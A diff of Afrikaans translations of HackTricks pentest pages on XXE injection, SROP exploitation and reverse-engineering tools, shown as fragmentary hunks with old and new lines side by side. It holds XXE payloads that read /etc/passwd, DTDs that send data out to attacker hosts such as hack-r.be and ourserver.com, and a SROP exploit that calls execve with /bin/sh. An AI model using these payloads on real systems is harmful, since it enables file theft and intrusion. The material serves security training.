Om 'n `XInclude` aanval uit te voer, moet die `XInclude` naamruimte verklaar word, en die lêerpad vir die beoogde eksterne entiteit moet gespesifiseer word. Hieronder is 'n bondige voorbeeld van hoe so 'n aanval geformuleer kan word:
|
||||
```xml
|
||||
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
|
||||
```
|
||||
Kontrollere [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) vir meer inligting!
|
||||
Kontrollering [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) vir meer inligting!
|
||||
|
||||
### SVG - Lêeroplaai
|
||||
|
||||
Lêers wat deur gebruikers na sekere toepassings opgelaai word, wat dan op die bediener verwerk word, kan kwesbaarhede in hoe XML of XML-bevatte lêerformate hanteer word, benut. Algemene lêerformate soos kantoor dokumente (DOCX) en beelde (SVG) is gebaseer op XML.
|
||||
|
||||
Wanneer gebruikers **beelde oplaai**, word hierdie beelde bediener-kant verwerk of gevalideer. Selfs vir toepassings wat formate soos PNG of JPEG verwag, mag die **bediener se beeldverwerkingsbiblioteek ook SVG-beelde ondersteun**. SVG, as 'n XML-gebaseerde formaat, kan deur aanvallers benut word om kwaadwillige SVG-beelde in te dien, wat die bediener blootstel aan XXE (XML Externe Entiteit) kwesbaarhede.
|
||||
Wanneer gebruikers **beelde oplaai**, word hierdie beelde bediener-kant verwerk of gevalideer. Selfs vir toepassings wat formate soos PNG of JPEG verwag, kan die **bediener se beeldverwerkingsbiblioteek ook SVG-beelde ondersteun**. SVG, as 'n XML-gebaseerde formaat, kan deur aanvallers benut word om kwaadwillige SVG-beelde in te dien, wat die bediener blootstel aan XXE (XML External Entity) kwesbaarhede.
|
||||
|
||||
'n Voorbeeld van so 'n uitbuiting word hieronder getoon, waar 'n kwaadwillige SVG-beeld probeer om stelsellêers te lees:
|
||||
```xml
|
||||
@ -419,17 +420,17 @@ Jy kan die \[**"Encode Recipe**" van cyberchef hier ]\(\[[https://gchq.github.io
|
||||
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
|
||||
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
|
||||
```
|
||||
### File:/ Protokol Omseiling
|
||||
### File:/ Protocol Bypass
|
||||
|
||||
As die web PHP gebruik, kan jy in plaas van `file:/` **php wrappers**`php://filter/convert.base64-encode/resource=` gebruik om **interne lêers** te **toegang**.
|
||||
|
||||
As die web Java gebruik, kan jy die [**jar: protokol**](xxe-xee-xml-external-entity.md#jar-protocol) nagaan.
|
||||
As die web Java gebruik, kan jy die [**jar: protocol**](xxe-xee-xml-external-entity.md#jar-protocol) nagaan.
|
||||
|
||||
### HTML Entiteite
|
||||
### HTML Entities
|
||||
|
||||
Truk van [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
|
||||
Jy kan 'n **entiteit binne 'n entiteit** skep deur dit met **html entiteite** te kodifiseer en dit dan aan te roep om 'n **dtd** te **laai**.\
|
||||
Let daarop dat die **HTML Entiteite** wat gebruik word **numeries** moet wees (soos \[in hierdie voorbeeld]\([https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
|
||||
Jy kan 'n **entiteit binne 'n entiteit** skep deur dit met **html entities** te kodifiseer en dit dan aan te roep om 'n **dtd** te **laai**.\
|
||||
Let daarop dat die **HTML Entities** wat gebruik word **numeries** moet wees (soos \[in hierdie voorbeeld]\([https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
|
||||
<data>
|
||||
@ -475,9 +476,9 @@ DTD voorbeeld:
|
||||
|
||||
Hierdie voorbeeld is geïnspireer deur [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
|
||||
|
||||
XLIFF (XML Lokaliseringsuitruil lêerformaat) word gebruik om data-uitruil in lokaliseringsprosesse te standaardiseer. Dit is 'n XML-gebaseerde formaat wat hoofsaaklik gebruik word om lokaliseerbare data tussen gereedskap tydens lokaliseringsprosesse oor te dra en as 'n algemene uitruilformaat vir CAT (Rekenaar-geassisteerde Vertaling) gereedskap.
|
||||
XLIFF (XML Lokaliseringsuitruilformaat) word gebruik om data-uitruil in lokaliseringsprosesse te standaardiseer. Dit is 'n XML-gebaseerde formaat wat hoofsaaklik gebruik word om lokaliseerbare data tussen gereedskap tydens lokaliseringsprosesse oor te dra en as 'n algemene uitruilformaat vir CAT (Rekenaar-geassisteerde Vertaling) gereedskap.
|
||||
|
||||
### Blind Versoek Analise
|
||||
### Blind Request Analise
|
||||
|
||||
'n Versoek word aan die bediener gemaak met die volgende inhoud:
|
||||
```xml
|
||||
@ -499,7 +500,7 @@ egter, hierdie versoek veroorsaak 'n interne bedienerfout, wat spesifiek 'n prob
|
||||
"message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
|
||||
}
|
||||
```
|
||||
Ten spyte van die fout, word 'n treffer op Burp Collaborator aangeteken, wat 'n sekere vlak van interaksie met die eksterne entiteit aandui.
|
||||
Ten spyte van die fout, word 'n treffer op Burp Collaborator geregistreer, wat 'n sekere vlak van interaksie met die eksterne entiteit aandui.
|
||||
|
||||
Out of Band Data Exfiltration Om data te eksfiltreer, word 'n gewysigde versoek gestuur:
|
||||
```
|
||||
@ -533,15 +534,15 @@ Om die lêer se inhoud in die foutboodskap in te sluit, word die DTD-lêer aange
|
||||
%foo;
|
||||
%xxe;
|
||||
```
|
||||
Hierdie wysiging lei tot die suksesvolle eksfiltrasie van die lêer se inhoud, soos dit in die foutuitset wat via HTTP gestuur word, weerspieël word. Dit dui op 'n suksesvolle XXE (XML External Entity) aanval, wat beide Out of Band en Error-Based tegnieke benut om sensitiewe inligting te onttrek.
|
||||
Hierdie wysiging lei tot die suksesvolle eksfiltrasie van die lêer se inhoud, soos dit weerspieël word in die foutuitset wat via HTTP gestuur word. Dit dui op 'n suksesvolle XXE (XML External Entity) aanval, wat beide Out of Band en Error-Based tegnieke benut om sensitiewe inligting te onttrek.
|
||||
|
||||
## RSS - XEE
|
||||
|
||||
Geldige XML met RSS-formaat om 'n XXE kwesbaarheid te benut.
|
||||
|
||||
### Ping terug
|
||||
### Ping back
|
||||
|
||||
Eenvoudige HTTP-versoek na die aanvallers se bediener
|
||||
Eenvoudige HTTP-versoek na die aanvallers bediener
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE title [ <!ELEMENT title ANY >
|
||||
@ -672,7 +673,9 @@ XMLDecoder is 'n Java-klas wat voorwerpe skep gebaseer op 'n XML-boodskap. As 'n
|
||||
```
|
||||
## Gereedskap
|
||||
|
||||
{% embed url="https://github.com/luisfontes19/xxexploiter" %}
|
||||
{{#ref}}
|
||||
https://github.com/luisfontes19/xxexploiter
|
||||
{{#endref}}
|
||||
|
||||
## Verwysings
|
||||
|
||||
@ -685,5 +688,4 @@ XMLDecoder is 'n Java-klas wat voorwerpe skep gebaseer op 'n XML-boodskap. As 'n
|
||||
- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\
|
||||
- [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -17,7 +17,9 @@ Gewoonlik word al hierdie strukture vervals deur 'n **begin ROP-ketting wat `rea
|
||||
|
||||
Jy kan 'n beter verduideliking oor hierdie tegniek in die tweede helfte van die video vind:
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
{{#ref}}
|
||||
https://youtu.be/ADULSwnQs-s?feature=shared
|
||||
{{#endref}}
|
||||
|
||||
## Strukture
|
||||
|
||||
|
@ -6,12 +6,12 @@
|
||||
|
||||
**`Sigreturn`** is 'n spesiale **syscall** wat hoofsaaklik gebruik word om op te ruim nadat 'n seinhandler sy uitvoering voltooi het. Seine is onderbrekings wat aan 'n program deur die bedryfstelsel gestuur word, dikwels om aan te dui dat 'n uitsonderlike situasie plaasgevind het. Wanneer 'n program 'n sein ontvang, pauzeer dit tydelik sy huidige werk om die sein met 'n **seinhandler** te hanteer, 'n spesiale funksie wat ontwerp is om met seine te werk.
|
||||
|
||||
Nadat die seinhandler klaar is, moet die program sy **vorige toestand hervat** asof niks gebeur het nie. Dit is waar **`sigreturn`** in die spel kom. Dit help die program om **terug te keer van die seinhandler** en herstel die program se toestand deur die stapelraam (die gedeelte van geheue wat funksie-oproepe en plaaslike veranderlikes stoor) wat deur die seinhandler gebruik is, op te ruim.
|
||||
Nadat die seinhandler klaar is, moet die program sy **vorige toestand hervat** asof niks gebeur het nie. Dit is waar **`sigreturn`** in die spel kom. Dit help die program om **terug te keer van die seinhandler** en herstel die program se toestand deur die stapelraam (die gedeelte van die geheue wat funksie-oproepe en plaaslike veranderlikes stoor) wat deur die seinhandler gebruik is, op te ruim.
|
||||
|
||||
Die interessante deel is hoe **`sigreturn`** die program se toestand herstel: dit doen dit deur **alle CPU se registerwaardes op die stapel te stoor.** Wanneer die sein nie meer geblokkeer is nie, **pop `sigreturn` hierdie waardes van die stapel af**, wat effektief die CPU se registre na hul toestand voor die sein hanteer is, terugstel. Dit sluit die stapelpunt-register (RSP) in, wat na die huidige bokant van die stapel wys.
|
||||
Die interessante deel is hoe **`sigreturn`** die program se toestand herstel: dit doen dit deur **alle CPU se registerwaardes op die stapel te stoor.** Wanneer die sein nie meer geblokkeer is nie, **pop `sigreturn` hierdie waardes van die stapel af**, wat effektief die CPU se registers na hul toestand voor die sein hanteer is, terugstel. Dit sluit die stapelpunt-register (RSP) in, wat na die huidige bokant van die stapel wys.
|
||||
|
||||
> [!CAUTION]
|
||||
> Om die syscall **`sigreturn`** vanaf 'n ROP-ketting aan te roep en **die registerwaardes** wat ons wil hê dat dit in die **stapel** laai, by te voeg, is dit moontlik om **alle** registerwaardes te **beheer** en dus **te roep** byvoorbeeld die syscall `execve` met `/bin/sh`.
|
||||
> Om die syscall **`sigreturn`** vanaf 'n ROP-ketting aan te roep en **die registerwaardes** wat ons wil hê dat dit in die **stapel** laai, by te voeg, is dit moontlik om **te beheer** al die registerwaardes en dus **te roep** byvoorbeeld die syscall `execve` met `/bin/sh`.
|
||||
|
||||
Let op hoe dit 'n **soort Ret2syscall** sou wees wat dit baie makliker maak om parameters te beheer om ander Ret2syscalls aan te roep:
|
||||
|
||||
@ -21,11 +21,13 @@ rop-syscall-execv.md
|
||||
|
||||
Vir 'n beter verduideliking kyk ook:
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
{{#ref}}
|
||||
https://youtu.be/ADULSwnQs-s?feature=shared
|
||||
{{#endref}}
|
||||
|
||||
## Voorbeeld
|
||||
|
||||
Jy kan [**hier 'n voorbeeld vind**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop), alhoewel dit die finale exploit daar is:
|
||||
Jy kan [**hier 'n voorbeeld vind**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop), alhoewel dit die finale exploit van daar is:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -25,9 +25,9 @@ Sagtemak:
|
||||
|
||||
### [dotPeek](https://www.jetbrains.com/decompiler/)
|
||||
|
||||
dotPeek is 'n decompiler wat **decompileer en ondersoek verskeie formate**, insluitend **biblioteke** (.dll), **Windows metadata lêers** (.winmd), en **uitvoerbare lêers** (.exe). Sodra dit gedecompileer is, kan 'n samestelling as 'n Visual Studio-projek (.csproj) gestoor word.
|
||||
dotPeek is 'n decompiler wat **decompileer en ondersoek verskeie formate**, insluitend **biblioteke** (.dll), **Windows metadata lêers** (.winmd), en **uitvoerbare lêers** (.exe). Sodra dit gedecompileer is, kan 'n assembly as 'n Visual Studio-projek (.csproj) gestoor word.
|
||||
|
||||
Die voordeel hier is dat as 'n verlore bronkode herstel moet word uit 'n erfenis-samestelling, kan hierdie aksie tyd bespaar. Verder bied dotPeek handige navigasie deur die gedecompileerde kode, wat dit een van die perfekte hulpmiddels maak vir **Xamarin-algoritme-analise.**
|
||||
Die voordeel hier is dat as 'n verlore bronkode herstel moet word uit 'n erfenis assembly, kan hierdie aksie tyd bespaar. Verder bied dotPeek handige navigasie deur die gedecompileerde kode, wat dit een van die perfekte hulpmiddels maak vir **Xamarin-algoritme-analise.**
|
||||
|
||||
### [.NET Reflector](https://www.red-gate.com/products/reflector/)
|
||||
|
||||
@ -36,14 +36,14 @@ Met 'n omvattende byvoegingmodel en 'n API wat die hulpmiddel uitbrei om aan jou
|
||||
- Bied insig in hoe die data deur 'n biblioteek of komponent vloei
|
||||
- Bied insig in die implementering en gebruik van .NET tale en raamwerke
|
||||
- Vind ongedokumenteerde en nie-blootgestelde funksionaliteit om meer uit die API's en tegnologieë te kry.
|
||||
- Vind afhanklikhede en verskillende samestellings
|
||||
- Vind afhanklikhede en verskillende assemblies
|
||||
- Spoor die presiese ligging van foute in jou kode, derdeparty-komponente, en biblioteke op.
|
||||
- Debug in die bron van al die .NET kode waarmee jy werk.
|
||||
- Debugeer in die bron van al die .NET kode waarmee jy werk.
|
||||
|
||||
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
|
||||
|
||||
[ILSpy-inprop vir Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Jy kan dit op enige OS hê (jy kan dit direk van VSCode installeer, geen behoefte om die git af te laai nie. Klik op **Extensions** en **soek ILSpy**).\
|
||||
As jy wil **decompile**, **wysig** en **hercompile** kan jy [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) of 'n aktief onderhandeerde fork daarvan, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases) gebruik. (**Regsklik -> Wysig Metode** om iets binne 'n funksie te verander).
|
||||
As jy moet **decompile**, **wysig** en **hercompile** kan jy [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) of 'n aktief onderhandeerde fork daarvan, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases) gebruik. (**Regsklik -> Wysig Metode** om iets binne 'n funksie te verander).
|
||||
|
||||
### DNSpy Logging
|
||||
|
||||
@ -55,7 +55,7 @@ File.AppendAllText(path, "Password: " + password + "\n");
|
||||
```
|
||||
### DNSpy Foutopsporing
|
||||
|
||||
Om kode te foutopspoor met DNSpy moet jy:
|
||||
Om kode met DNSpy te foutopspoor, moet jy:
|
||||
|
||||
Eerstens, verander die **Assembly eienskappe** wat verband hou met **foutopsporing**:
|
||||
|
||||
@ -84,7 +84,7 @@ As jou .NET-toepassing deur **IIS** **run** word, kan jy dit **herbegin** met:
|
||||
```
|
||||
iisreset /noforce
|
||||
```
|
||||
Dan, om te begin debugg, moet jy al die oopgemaakte lêers sluit en binne die **Debug Tab** **Attach to Process...** kies:
|
||||
Dan, om te begin debugg, moet jy al die geopende lêers sluit en binne die **Debug Tab** **Attach to Process...** kies:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -116,7 +116,7 @@ Regsklik op enige module in **Assembly Explorer** en klik op **Sort Assemblies**
|
||||
### Gebruik IDA
|
||||
|
||||
- **Laai rundll32** (64bits in C:\Windows\System32\rundll32.exe en 32 bits in C:\Windows\SysWOW64\rundll32.exe)
|
||||
- Kies **Windbg** debugger
|
||||
- Kies **Windbg** debugg
|
||||
- Kies "**Suspend on library load/unload**"
|
||||
|
||||
.png>)
|
||||
@ -134,13 +134,13 @@ Maar, hoe kan jy by die kode van die DLL wat gelaai is, kom? Met hierdie metode,
|
||||
- **Laai rundll32** (64bits in C:\Windows\System32\rundll32.exe en 32 bits in C:\Windows\SysWOW64\rundll32.exe)
|
||||
- **Verander die Command Line** ( _File --> Change Command Line_ ) en stel die pad van die dll en die funksie wat jy wil aanroep, byvoorbeeld: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain
|
||||
- Verander _Options --> Settings_ en kies "**DLL Entry**".
|
||||
- Dan **begin die uitvoering**, die debugger sal by elke dll main stop, op 'n sekere punt sal jy **stop in die dll Entry van jou dll**. Van daar af, soek net die punte waar jy 'n breakpoint wil plaas.
|
||||
- Dan **begin die uitvoering**, die debugg sal by elke dll hoof stop, op 'n sekere punt sal jy **stop in die dll Entry van jou dll**. Van daar af, soek net die punte waar jy 'n breekpunt wil plaas.
|
||||
|
||||
Let daarop dat wanneer die uitvoering om enige rede in win64dbg gestop word, jy kan sien **in watter kode jy is** deur na die **boonste deel van die win64dbg venster** te kyk:
|
||||
|
||||
.png>)
|
||||
|
||||
Dan, deur na hierdie te kyk, kan jy sien wanneer die uitvoering in die dll wat jy wil debugg, gestop is.
|
||||
Dan, deur na hierdie te kyk, kan jy sien wanneer die uitvoering in die dll gestop is wat jy wil debugg.
|
||||
|
||||
## GUI Apps / Videogames
|
||||
|
||||
@ -156,16 +156,18 @@ cheat-engine.md
|
||||
|
||||
## ARM & MIPS
|
||||
|
||||
{% embed url="https://github.com/nongiach/arm_now" %}
|
||||
{{#ref}}
|
||||
https://github.com/nongiach/arm_now
|
||||
{{#endref}}
|
||||
|
||||
## Shellcodes
|
||||
|
||||
### Debugging 'n shellcode met blobrunner
|
||||
|
||||
[**Blobrunner**](https://github.com/OALabs/BlobRunner) sal **toewys** die **shellcode** binne 'n geheue ruimte, sal jou die **geheue adres** aandui waar die shellcode toegewy is en sal die uitvoering **stop**.\
|
||||
Dan moet jy 'n **debugger** (Ida of x64dbg) aan die proses koppel en 'n **breakpoint op die aangeduide geheue adres** plaas en die uitvoering **herbegin**. Op hierdie manier sal jy die shellcode debugg.
|
||||
Dan moet jy 'n **debugger** (Ida of x64dbg) aan die proses koppel en 'n **breekpunt op die aangeduide geheue adres** plaas en die uitvoering **herbegin**. Op hierdie manier sal jy die shellcode debugg.
|
||||
|
||||
Die releases github bladsy bevat zips wat die gecompileerde releases bevat: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
||||
Die vrylating github-bladsy bevat zips wat die gecompileerde vrylating bevat: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
||||
Jy kan 'n effens gewysigde weergawe van Blobrunner in die volgende skakel vind. Om dit te compileer, moet jy net **'n C/C++ projek in Visual Studio Code skep, die kode kopieer en plak en dit bou**.
|
||||
|
||||
{{#ref}}
|
||||
@ -174,11 +176,11 @@ blobrunner.md
|
||||
|
||||
### Debugging 'n shellcode met jmp2it
|
||||
|
||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) is baie soortgelyk aan blobrunner. Dit sal **toewys** die **shellcode** binne 'n geheue ruimte, en 'n **ewige lus** begin. Jy moet dan die **debugger** aan die proses koppel, **speel begin wag 2-5 sekondes en druk stop** en jy sal jouself binne die **ewige lus** vind. Spring na die volgende instruksie van die ewige lus, aangesien dit 'n oproep na die shellcode sal wees, en uiteindelik sal jy jouself die shellcode uitvoer.
|
||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) is baie soortgelyk aan blobrunner. Dit sal **toewys** die **shellcode** binne 'n geheue ruimte, en 'n **ewige lus** begin. Jy moet dan die **debugger** aan die proses koppel, **begin speel, wag 2-5 sekondes en druk stop** en jy sal jouself binne die **ewige lus** vind. Spring na die volgende instruksie van die ewige lus, aangesien dit 'n oproep na die shellcode sal wees, en uiteindelik sal jy jouself vind wat die shellcode uitvoer.
|
||||
|
||||
.png>)
|
||||
|
||||
Jy kan 'n gecompileerde weergawe van [jmp2it binne die releases bladsy aflaai](https://github.com/adamkramer/jmp2it/releases/).
|
||||
Jy kan 'n gecompileerde weergawe van [jmp2it binne die vrylating bladsy aflaai](https://github.com/adamkramer/jmp2it/releases/).
|
||||
|
||||
### Debugging shellcode met Cutter
|
||||
|
||||
@ -194,14 +196,14 @@ Om die emulering te begin op die plek waar jy wil, stel 'n bp daar in en blykbaa
|
||||
|
||||
.png>)
|
||||
|
||||
Jy kan die stapel sien byvoorbeeld binne 'n hex dump:
|
||||
Jy kan die stapel byvoorbeeld binne 'n hex dump sien:
|
||||
|
||||
.png>)
|
||||
|
||||
### Deobfuscating shellcode en die uitgevoerde funksies kry
|
||||
|
||||
Jy moet probeer [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7&pid=152).\
|
||||
Dit sal jou dinge vertel soos **watter funksies** die shellcode gebruik en of die shellcode **homself decodeer** in geheue.
|
||||
Dit sal jou dinge vertel soos **watter funksies** die shellcode gebruik en of die shellcode **homself in geheue decode**.
|
||||
```bash
|
||||
scdbg.exe -f shellcode # Get info
|
||||
scdbg.exe -f shellcode -r #show analysis report at end of run
|
||||
@ -214,7 +216,7 @@ scDbg het ook 'n grafiese laaier waar jy die opsies kan kies wat jy wil en die s
|
||||
|
||||
.png>)
|
||||
|
||||
Die **Create Dump** opsie sal die finale shellcode dump as enige verandering aan die shellcode dinamies in geheue gemaak word (nuttig om die gedecodeerde shellcode af te laai). Die **start offset** kan nuttig wees om die shellcode by 'n spesifieke offset te begin. Die **Debug Shell** opsie is nuttig om die shellcode te debug met behulp van die scDbg terminal (ek vind egter enige van die opsies wat voorheen verduidelik is beter vir hierdie saak, aangesien jy Ida of x64dbg kan gebruik).
|
||||
Die **Create Dump** opsie sal die finale shellcode dump as enige verandering aan die shellcode dinamies in geheue gemaak word (nuttig om die gedecodeerde shellcode af te laai). Die **start offset** kan nuttig wees om die shellcode by 'n spesifieke offset te begin. Die **Debug Shell** opsie is nuttig om die shellcode te debug met die scDbg terminal (maar ek vind enige van die opsies wat voorheen verduidelik is beter vir hierdie saak, aangesien jy Ida of x64dbg kan gebruik).
|
||||
|
||||
### Disassembling using CyberChef
|
||||
|
||||
@ -242,26 +244,26 @@ Om die **toegangspunt** te vind, soek die funksies deur `::main` soos in:
|
||||
|
||||
.png>)
|
||||
|
||||
In hierdie geval was die binêre genaamd authenticator, so dit is redelik voor die hand liggend dat dit die interessante hooffunksie is.\
|
||||
Met die **naam** van die **funksies** wat aangeroep word, soek daarna op die **Internet** om meer oor hul **insette** en **uitsette** te leer.
|
||||
In hierdie geval was die binêre genaamd authenticator, so dit is redelik duidelik dat dit die interessante hooffunksie is.\
|
||||
Met die **naam** van die **funksies** wat aangeroep word, soek daarna op die **Internet** om meer te leer oor hul **invoere** en **uitvoere**.
|
||||
|
||||
## **Delphi**
|
||||
|
||||
Vir Delphi gecompileerde binêre kan jy gebruik maak van [https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR)
|
||||
|
||||
As jy 'n Delphi binêre moet omkeer, sou ek voorstel dat jy die IDA-inprop [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi) gebruik.
|
||||
As jy 'n Delphi binêre moet omkeer, sou ek jou aanbeveel om die IDA-inprop [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi) te gebruik.
|
||||
|
||||
Druk net **ATL+f7** (import python plugin in IDA) en kies die python plugin.
|
||||
Druk net **ATL+f7** (import python inprop in IDA) en kies die python inprop.
|
||||
|
||||
Hierdie inprop sal die binêre uitvoer en funksiename dinamies aan die begin van die debuggery oplos. Nadat jy die debuggery begin, druk weer die Begin-knoppie (die groen een of f9) en 'n breekpunt sal aan die begin van die werklike kode tref.
|
||||
Hierdie inprop sal die binêre uitvoer en funksiename dinamies aan die begin van die debuggery oplos. Nadat jy die debuggery begin het, druk weer die Start-knoppie (die groen een of f9) en 'n breekpunt sal aan die begin van die werklike kode tref.
|
||||
|
||||
Dit is ook baie interessant omdat as jy 'n knoppie in die grafiese toepassing druk, die debugger in die funksie wat deur daardie knoppie uitgevoer word, sal stop.
|
||||
|
||||
## Golang
|
||||
|
||||
As jy 'n Golang binêre moet omkeer, sou ek voorstel dat jy die IDA-inprop [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper) gebruik.
|
||||
As jy 'n Golang binêre moet omkeer, sou ek jou aanbeveel om die IDA-inprop [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper) te gebruik.
|
||||
|
||||
Druk net **ATL+f7** (import python plugin in IDA) en kies die python plugin.
|
||||
Druk net **ATL+f7** (import python inprop in IDA) en kies die python inprop.
|
||||
|
||||
Dit sal die name van die funksies oplos.
|
||||
|
||||
@ -279,10 +281,10 @@ As jy die **binêre** van 'n GBA-speletjie kry, kan jy verskillende gereedskap g
|
||||
|
||||
- [**no$gba**](https://problemkaputt.de/gba.htm) (_Laai die debug weergawe af_) - Bevat 'n debugger met 'n koppelvlak
|
||||
- [**mgba** ](https://mgba.io)- Bevat 'n CLI-debugger
|
||||
- [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Ghidra-inprop
|
||||
- [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Ghidra-inprop
|
||||
- [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Ghidra inprop
|
||||
- [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Ghidra inprop
|
||||
|
||||
In [**no$gba**](https://problemkaputt.de/gba.htm), in _**Opsies --> Emulering Setup --> Beheer**_\*\* \*\* kan jy sien hoe om die Game Boy Advance **knoppies** te druk.
|
||||
In [**no$gba**](https://problemkaputt.de/gba.htm), in _**Opsies --> Emulasie Instelling --> Beheer**_\*\* \*\* kan jy sien hoe om die Game Boy Advance **knoppies** te druk.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -299,13 +301,13 @@ DOWN = 128
|
||||
R = 256
|
||||
L = 256
|
||||
```
|
||||
So, in hierdie tipe program, die interessante deel sal wees **hoe die program die gebruiker invoer hanteer**. In die adres **0x4000130** sal jy die algemeen aangetrefde funksie vind: **KEYINPUT**.
|
||||
So, in hierdie tipe program, die interessante deel sal wees **hoe die program die gebruiker se insette hanteer**. In die adres **0x4000130** sal jy die algemeen aangetrefde funksie vind: **KEYINPUT**.
|
||||
|
||||
.png>)
|
||||
|
||||
In die vorige beeld kan jy sien dat die funksie aangeroep word vanaf **FUN_080015a8** (adresse: _0x080015fa_ en _0x080017ac_).
|
||||
|
||||
In daardie funksie, na 'n paar init operasies (sonder enige belangrikheid):
|
||||
In daardie funksie, na 'n paar inisiasie operasies (sonder enige belangrikheid):
|
||||
```c
|
||||
void FUN_080015a8(void)
|
||||
|
||||
@ -372,19 +374,21 @@ In die vorige kode kan jy sien dat ons **uVar1** (die plek waar die **waarde van
|
||||
- Dan, dit word vergelyk met die **waarde 8** (**START** knoppie): In die uitdaging kontroleer dit of die kode geldig is om die vlag te kry.
|
||||
- In hierdie geval word die var **`DAT_030000d8`** met 0xf3 vergelyk en as die waarde dieselfde is, word 'n paar kode uitgevoer.
|
||||
- In enige ander gevalle, word 'n cont (`DAT_030000d4`) nagegaan. Dit is 'n cont omdat dit 1 byvoeg onmiddellik nadat dit in die kode ingaan.\
|
||||
**As** dit minder as 8 is, word iets wat **waardes byvoeg** tot \*\*`DAT_030000d8` \*\* gedoen (basies voeg dit die waardes van die knoppies wat in hierdie veranderlike gedruk is by solank die cont minder as 8 is).
|
||||
**As** minder as 8, word iets wat **byvoeg** waardes aan \*\*`DAT_030000d8` \*\* doen (basies voeg dit die waardes van die knoppies wat in hierdie veranderlike gedruk is by solank die cont minder as 8 is).
|
||||
|
||||
So, in hierdie uitdaging, om die waardes van die knoppies te ken, moes jy **'n kombinasie druk met 'n lengte kleiner as 8 wat die resultaat van die optelling 0xf3 is.**
|
||||
So, in hierdie uitdaging, om die waardes van die knoppies te ken, moes jy 'n **kombinasie druk met 'n lengte kleiner as 8 wat die resultaat byvoeg 0xf3.**
|
||||
|
||||
**Verwysing vir hierdie tutoriaal:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
|
||||
|
||||
## Game Boy
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=VVbRe7wr3G4" %}
|
||||
{{#ref}}
|
||||
https://www.youtube.com/watch?v=VVbRe7wr3G4
|
||||
{{#endref}}
|
||||
|
||||
## Kursusse
|
||||
|
||||
- [https://github.com/0xZ0F/Z0FCourse_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse_ReverseEngineering)
|
||||
